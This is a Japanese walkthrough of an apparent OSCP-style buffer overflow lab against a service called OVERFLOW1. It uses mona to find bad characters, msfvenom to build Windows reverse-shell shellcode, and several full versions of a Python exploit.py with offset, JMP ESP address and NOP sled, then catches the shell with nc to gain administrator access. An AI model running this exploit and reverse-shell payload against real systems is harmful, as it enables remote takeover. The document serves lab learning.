!mona bytearray -b "\x00\x07\x2e\xa0"
そうすると、作業ディレクトに新しく一覧のファイルが作成されています。

さてこれで準備はOKなので、先程修正したコードを実行します。
$ python3 badchars.py
Immunity Debuggerで確認をします。先ほどと同じ様に、ESPの中身を「Fllow in Dump」で確認します。

07とかは無いようです。また、以下のコマンドで先程更新した一覧と、メモリ上のバイトを比較します。
!mona compare -f C:\mona\oscp\bytearray.bin -a esp
Unmodifiedとなり、変換されてしまったおかしな文字列がないと言うことが確認できます。

今回試しに、「08」「2f」は除外しませんでしたが、やはり1つ前の文字が悪さをしていました。
よって、ここでの悪い文字の調査は以下と判明しました。
\x00\x07\x2e\xa0
5. 使用する事が出来ないバイナリを使用しないで、シェルコードを作成
次に悪い文字を使用せずにシェルコードを作成します。以下のコマンドを実行します。
msfvenom -p windows/shell_reverse_tcp LHOST=10.6.65.109 LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f python -v "shellcode"
LHOSTは自分のIPアドレス、LPORTは待ち受けるポートです。また、「-b」で悪い文字を除外します。
実行するとシェルコードが作成されます。
shellcode = b""
shellcode += b"\xba\xa6\xbf\x50\xfa\xd9\xe1\xd9\x74\x24\xf4"
shellcode += b"\x5f\x33\xc9\xb1\x52\x31\x57\x12\x83\xc7\x04"
shellcode += b"\x03\xf1\xb1\xb2\x0f\x01\x25\xb0\xf0\xf9\xb6"
shellcode += b"\xd5\x79\x1c\x87\xd5\x1e\x55\xb8\xe5\x55\x3b"
shellcode += b"\x35\x8d\x38\xaf\xce\xe3\x94\xc0\x67\x49\xc3"
shellcode += b"\xef\x78\xe2\x37\x6e\xfb\xf9\x6b\x50\xc2\x31"
shellcode += b"\x7e\x91\x03\x2f\x73\xc3\xdc\x3b\x26\xf3\x69"
shellcode += b"\x71\xfb\x78\x21\x97\x7b\x9d\xf2\x96\xaa\x30"
shellcode += b"\x88\xc0\x6c\xb3\x5d\x79\x25\xab\x82\x44\xff"
shellcode += b"\x40\x70\x32\xfe\x80\x48\xbb\xad\xed\x64\x4e"
shellcode += b"\xaf\x2a\x42\xb1\xda\x42\xb0\x4c\xdd\x91\xca"
shellcode += b"\x8a\x68\x01\x6c\x58\xca\xed\x8c\x8d\x8d\x66"
shellcode += b"\x82\x7a\xd9\x20\x87\x7d\x0e\x5b\xb3\xf6\xb1"
shellcode += b"\x8b\x35\x4c\x96\x0f\x1d\x16\xb7\x16\xfb\xf9"
shellcode += b"\xc8\x48\xa4\xa6\x6c\x03\x49\xb2\x1c\x4e\x06"
shellcode += b"\x77\x2d\x70\xd6\x1f\x26\x03\xe4\x80\x9c\x8b"
shellcode += b"\x44\x48\x3b\x4c\xaa\x63\xfb\xc2\x55\x8c\xfc"
shellcode += b"\xcb\x91\xd8\xac\x63\x33\x61\x27\x73\xbc\xb4"
shellcode += b"\xe8\x23\x12\x67\x49\x93\xd2\xd7\x21\xf9\xdc"
shellcode += b"\x08\x51\x02\x37\x21\xf8\xf9\xd0\x44\xfb\x40"
shellcode += b"\x4c\x31\x01\x42\x9f\x9d\x8c\xa4\xf5\x0d\xd9"
shellcode += b"\x7f\x62\xb7\x40\x0b\x13\x38\x5f\x76\x13\xb2"
shellcode += b"\x6c\x87\xda\x33\x18\x9b\x8b\xb3\x57\xc1\x1a"
shellcode += b"\xcb\x4d\x6d\xc0\x5e\x0a\x6d\x8f\x42\x85\x3a"
shellcode += b"\xd8\xb5\xdc\xae\xf4\xec\x76\xcc\x04\x68\xb0"
shellcode += b"\x54\xd3\x49\x3f\x55\x96\xf6\x1b\x45\x6e\xf6"
shellcode += b"\x27\x31\x3e\xa1\xf1\xef\xf8\x1b\xb0\x59\x53"
shellcode += b"\xf7\x1a\x0d\x22\x3b\x9d\x4b\x2b\x16\x6b\xb3"
shellcode += b"\x9a\xcf\x2a\xcc\x13\x98\xba\xb5\x49\x38\x44"
shellcode += b"\x6c\xca\x58\xa7\xa4\x27\xf1\x7e\x2d\x8a\x9c"
shellcode += b"\x80\x98\xc9\x98\x02\x28\xb2\x5e\x1a\x59\xb7"
shellcode += b"\x1b\x9c\xb2\xc5\x34\x49\xb4\x7a\x34\x58"
生成されたシェルコードを使って、「exploit.py」を作成しました。
#!/usr/bin/env python3
import socket
ip = "10.10.161.150"
port = 1337
shellcode = ""
shellcode += "\xba\xd2\xe8\x90\x97\xdb\xdb\xd9\x74\x24\xf4"
shellcode += "\x5e\x29\xc9\xb1\x52\x31\x56\x12\x83\xc6\x04"
shellcode += "\x03\x84\xe6\x72\x62\xd4\x1f\xf0\x8d\x24\xe0"
shellcode += "\x95\x04\xc1\xd1\x95\x73\x82\x42\x26\xf7\xc6"
shellcode += "\x6e\xcd\x55\xf2\xe5\xa3\x71\xf5\x4e\x09\xa4"
shellcode += "\x38\x4e\x22\x94\x5b\xcc\x39\xc9\xbb\xed\xf1"
shellcode += "\x1c\xba\x2a\xef\xed\xee\xe3\x7b\x43\x1e\x87"
shellcode += "\x36\x58\x95\xdb\xd7\xd8\x4a\xab\xd6\xc9\xdd"
shellcode += "\xa7\x80\xc9\xdc\x64\xb9\x43\xc6\x69\x84\x1a"
shellcode += "\x7d\x59\x72\x9d\x57\x93\x7b\x32\x96\x1b\x8e"
shellcode += "\x4a\xdf\x9c\x71\x39\x29\xdf\x0c\x3a\xee\x9d"
shellcode += "\xca\xcf\xf4\x06\x98\x68\xd0\xb7\x4d\xee\x93"
shellcode += "\xb4\x3a\x64\xfb\xd8\xbd\xa9\x70\xe4\x36\x4c"
shellcode += "\x56\x6c\x0c\x6b\x72\x34\xd6\x12\x23\x90\xb9"
shellcode += "\x2b\x33\x7b\x65\x8e\x38\x96\x72\xa3\x63\xff"
shellcode += "\xb7\x8e\x9b\xff\xdf\x99\xe8\xcd\x40\x32\x66"
shellcode += "\x7e\x08\x9c\x71\x81\x23\x58\xed\x7c\xcc\x99"
shellcode += "\x24\xbb\x98\xc9\x5e\x6a\xa1\x81\x9e\x93\x74"
shellcode += "\x05\xce\x3b\x27\xe6\xbe\xfb\x97\x8e\xd4\xf3"
shellcode += "\xc8\xaf\xd7\xd9\x60\x45\x22\x8a\x84\x9c\x6d"
shellcode += "\x27\xf1\xa2\x6d\xa6\x5d\x2a\x8b\xa2\x4d\x7a"
shellcode += "\x04\x5b\xf7\x27\xde\xfa\xf8\xfd\x9b\x3d\x72"
shellcode += "\xf2\x5c\xf3\x73\x7f\x4e\x64\x74\xca\x2c\x23"
shellcode += "\x8b\xe0\x58\xaf\x1e\x6f\x98\xa6\x02\x38\xcf"
shellcode += "\xef\xf5\x31\x85\x1d\xaf\xeb\xbb\xdf\x29\xd3"
shellcode += "\x7f\x04\x8a\xda\x7e\xc9\xb6\xf8\x90\x17\x36"
shellcode += "\x45\xc4\xc7\x61\x13\xb2\xa1\xdb\xd5\x6c\x78"
shellcode += "\xb7\xbf\xf8\xfd\xfb\x7f\x7e\x02\xd6\x09\x9e"
shellcode += "\xb3\x8f\x4f\xa1\x7c\x58\x58\xda\x60\xf8\xa7"
shellcode += "\x31\x21\x18\x4a\x93\x5c\xb1\xd3\x76\xdd\xdc"
shellcode += "\xe3\xad\x22\xd9\x67\x47\xdb\x1e\x77\x22\xde"
shellcode += "\x5b\x3f\xdf\x92\xf4\xaa\xdf\x01\xf4\xfe"
command = "OVERFLOW1 "
offset = 1978 * "A"
jmp = "BBBB"
nops = ""
string = command + offset + jmp + nops + shellcode
with socket.socket() as s:
s.connect((ip, port))
print("sending exploit")
s.send(bytes(string, 'latin-1'))
実行します。
$ python3 exploit.py
Immunity Debuggerで確認します。前回と同様に、ESPの中身を「Follow in Dump」で確認します。

EIPには引き続き、「BBBB」が。そして、スタックのTOPから、先ほど作成したシェルコードが入っていることが確認できました。
このコードはまだ未完成です。まだセットされていない変数、「jmp」と「nops」を以降のタスクでセットします。
6. シェルコードを実行させるために、EIPにJMP ESPの命令のアドレスをセット
ここでは、EIPにセットするシェルコードを実行するための命令文をメモリ上から探しそのアドレスを調査して、「jmp」の変数にセットします。
以下のコマンドを実行して、悪い文字が使われていないメモリ上での「JMP ESP」命令が実行されているアドレスを検索します。
!mona jmp -r esp -cpb "\x00\x07\x2e\xa0"
たくさん見つかりました。

どれでもいいのですが、1番上の「625011AF」を試してみます。
「exploit.py」のjmp変数にこの値をセットしますが、リトルエイディアンを考慮して以下の様にコードを修正します。
#!/usr/bin/env python3
import socket
ip = "10.10.180.248"
port = 1337
shellcode = ""
shellcode += "\xba\xd2\xe8\x90\x97\xdb\xdb\xd9\x74\x24\xf4"
shellcode += "\x5e\x29\xc9\xb1\x52\x31\x56\x12\x83\xc6\x04"
shellcode += "\x03\x84\xe6\x72\x62\xd4\x1f\xf0\x8d\x24\xe0"
shellcode += "\x95\x04\xc1\xd1\x95\x73\x82\x42\x26\xf7\xc6"
shellcode += "\x6e\xcd\x55\xf2\xe5\xa3\x71\xf5\x4e\x09\xa4"
shellcode += "\x38\x4e\x22\x94\x5b\xcc\x39\xc9\xbb\xed\xf1"
shellcode += "\x1c\xba\x2a\xef\xed\xee\xe3\x7b\x43\x1e\x87"
shellcode += "\x36\x58\x95\xdb\xd7\xd8\x4a\xab\xd6\xc9\xdd"
shellcode += "\xa7\x80\xc9\xdc\x64\xb9\x43\xc6\x69\x84\x1a"
shellcode += "\x7d\x59\x72\x9d\x57\x93\x7b\x32\x96\x1b\x8e"
shellcode += "\x4a\xdf\x9c\x71\x39\x29\xdf\x0c\x3a\xee\x9d"
shellcode += "\xca\xcf\xf4\x06\x98\x68\xd0\xb7\x4d\xee\x93"
shellcode += "\xb4\x3a\x64\xfb\xd8\xbd\xa9\x70\xe4\x36\x4c"
shellcode += "\x56\x6c\x0c\x6b\x72\x34\xd6\x12\x23\x90\xb9"
shellcode += "\x2b\x33\x7b\x65\x8e\x38\x96\x72\xa3\x63\xff"
shellcode += "\xb7\x8e\x9b\xff\xdf\x99\xe8\xcd\x40\x32\x66"
shellcode += "\x7e\x08\x9c\x71\x81\x23\x58\xed\x7c\xcc\x99"
shellcode += "\x24\xbb\x98\xc9\x5e\x6a\xa1\x81\x9e\x93\x74"
shellcode += "\x05\xce\x3b\x27\xe6\xbe\xfb\x97\x8e\xd4\xf3"
shellcode += "\xc8\xaf\xd7\xd9\x60\x45\x22\x8a\x84\x9c\x6d"
shellcode += "\x27\xf1\xa2\x6d\xa6\x5d\x2a\x8b\xa2\x4d\x7a"
shellcode += "\x04\x5b\xf7\x27\xde\xfa\xf8\xfd\x9b\x3d\x72"
shellcode += "\xf2\x5c\xf3\x73\x7f\x4e\x64\x74\xca\x2c\x23"
shellcode += "\x8b\xe0\x58\xaf\x1e\x6f\x98\xa6\x02\x38\xcf"
shellcode += "\xef\xf5\x31\x85\x1d\xaf\xeb\xbb\xdf\x29\xd3"
shellcode += "\x7f\x04\x8a\xda\x7e\xc9\xb6\xf8\x90\x17\x36"
shellcode += "\x45\xc4\xc7\x61\x13\xb2\xa1\xdb\xd5\x6c\x78"
shellcode += "\xb7\xbf\xf8\xfd\xfb\x7f\x7e\x02\xd6\x09\x9e"
shellcode += "\xb3\x8f\x4f\xa1\x7c\x58\x58\xda\x60\xf8\xa7"
shellcode += "\x31\x21\x18\x4a\x93\x5c\xb1\xd3\x76\xdd\xdc"
shellcode += "\xe3\xad\x22\xd9\x67\x47\xdb\x1e\x77\x22\xde"
shellcode += "\x5b\x3f\xdf\x92\xf4\xaa\xdf\x01\xf4\xfe"
command = "OVERFLOW1 "
offset = 1978 * "A"
jmp = "\xAF\x11\x50\x62" # 625011AF
string = command + offset + jmp + shellcode
with socket.socket() as s:
s.connect((ip, port))
print("sending exploit")
s.send(bytes(string, 'latin-1'))
7. NOPSの設定
最後にシェルコード前にNOPをセットします。
NOPはアセンブリの「No Operation」の略です。何もせず次の命令に移ります。NOPを入れることにより、安全に確実に悪意あるコードが実行されるようにひと工夫します。
実際アセンブラコードは以下のような感じです。

確実に「B」を指定して実行させたいところですが、しかしすこし手前の「A」に命令が移ってしまったとしても、そこがNOPであれば、NOPの終わりまでスライドして「B」を実行します。
「exploit.py」を以下のように修正します。
#!/usr/bin/env python3
import socket
ip = "10.10.180.248"
port = 1337
shellcode = ""
shellcode += "\xba\xd2\xe8\x90\x97\xdb\xdb\xd9\x74\x24\xf4"
shellcode += "\x5e\x29\xc9\xb1\x52\x31\x56\x12\x83\xc6\x04"
shellcode += "\x03\x84\xe6\x72\x62\xd4\x1f\xf0\x8d\x24\xe0"
shellcode += "\x95\x04\xc1\xd1\x95\x73\x82\x42\x26\xf7\xc6"
shellcode += "\x6e\xcd\x55\xf2\xe5\xa3\x71\xf5\x4e\x09\xa4"
shellcode += "\x38\x4e\x22\x94\x5b\xcc\x39\xc9\xbb\xed\xf1"
shellcode += "\x1c\xba\x2a\xef\xed\xee\xe3\x7b\x43\x1e\x87"
shellcode += "\x36\x58\x95\xdb\xd7\xd8\x4a\xab\xd6\xc9\xdd"
shellcode += "\xa7\x80\xc9\xdc\x64\xb9\x43\xc6\x69\x84\x1a"
shellcode += "\x7d\x59\x72\x9d\x57\x93\x7b\x32\x96\x1b\x8e"
shellcode += "\x4a\xdf\x9c\x71\x39\x29\xdf\x0c\x3a\xee\x9d"
shellcode += "\xca\xcf\xf4\x06\x98\x68\xd0\xb7\x4d\xee\x93"
shellcode += "\xb4\x3a\x64\xfb\xd8\xbd\xa9\x70\xe4\x36\x4c"
shellcode += "\x56\x6c\x0c\x6b\x72\x34\xd6\x12\x23\x90\xb9"
shellcode += "\x2b\x33\x7b\x65\x8e\x38\x96\x72\xa3\x63\xff"
shellcode += "\xb7\x8e\x9b\xff\xdf\x99\xe8\xcd\x40\x32\x66"
shellcode += "\x7e\x08\x9c\x71\x81\x23\x58\xed\x7c\xcc\x99"
shellcode += "\x24\xbb\x98\xc9\x5e\x6a\xa1\x81\x9e\x93\x74"
shellcode += "\x05\xce\x3b\x27\xe6\xbe\xfb\x97\x8e\xd4\xf3"
shellcode += "\xc8\xaf\xd7\xd9\x60\x45\x22\x8a\x84\x9c\x6d"
shellcode += "\x27\xf1\xa2\x6d\xa6\x5d\x2a\x8b\xa2\x4d\x7a"
shellcode += "\x04\x5b\xf7\x27\xde\xfa\xf8\xfd\x9b\x3d\x72"
shellcode += "\xf2\x5c\xf3\x73\x7f\x4e\x64\x74\xca\x2c\x23"
shellcode += "\x8b\xe0\x58\xaf\x1e\x6f\x98\xa6\x02\x38\xcf"
shellcode += "\xef\xf5\x31\x85\x1d\xaf\xeb\xbb\xdf\x29\xd3"
shellcode += "\x7f\x04\x8a\xda\x7e\xc9\xb6\xf8\x90\x17\x36"
shellcode += "\x45\xc4\xc7\x61\x13\xb2\xa1\xdb\xd5\x6c\x78"
shellcode += "\xb7\xbf\xf8\xfd\xfb\x7f\x7e\x02\xd6\x09\x9e"
shellcode += "\xb3\x8f\x4f\xa1\x7c\x58\x58\xda\x60\xf8\xa7"
shellcode += "\x31\x21\x18\x4a\x93\x5c\xb1\xd3\x76\xdd\xdc"
shellcode += "\xe3\xad\x22\xd9\x67\x47\xdb\x1e\x77\x22\xde"
shellcode += "\x5b\x3f\xdf\x92\xf4\xaa\xdf\x01\xf4\xfe"
command = "OVERFLOW1 "
offset = 1978 * "A"
jmp = "\xAF\x11\x50\x62" # 625011AF
nops = 16 * "\x90"
string = command + offset + jmp + nops + shellcode
with socket.socket() as s:
s.connect((ip, port))
print("sending exploit")
s.send(bytes(string, 'latin-1'))
コレで準備は整いました。
8. Administrator権限をKali上から奪取
「exploit.py」が上手く行けば、サーバーアプリのシェルを取れるはずです。
シェルコードで指定したリバースシェルをキャッチするためにkali上で、ncでポートをリッスンします。
$ nc -lvnp 4444
別のターミナルで、「exploit.py」を実行します。
$ python3 exploit.py
リバースシェルが成功すると、ncのリッスンにシェルが渡されて、リモート上のシェルを利用する事ができます。
この様に無事、管理者権限をダッシュすることができました。
